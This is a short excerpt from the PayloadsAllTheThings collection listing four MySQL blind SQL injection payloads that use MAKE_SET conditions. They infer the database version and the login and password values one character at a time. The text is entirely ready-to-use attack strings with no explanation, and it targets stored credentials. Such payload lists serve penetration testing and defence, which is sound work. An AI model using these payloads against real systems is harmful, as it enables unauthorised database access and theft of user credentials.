AND MAKE_SET(VALUE_TO_EXTRACT<(SELECT(length(version()))),1)
AND MAKE_SET(VALUE_TO_EXTRACT<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(VALUE_TO_EXTRACT<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(VALUE_TO_EXTRACT<ascii(substring(concat(login,password),POS,1)),1)Source: SQL Injection/MySQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.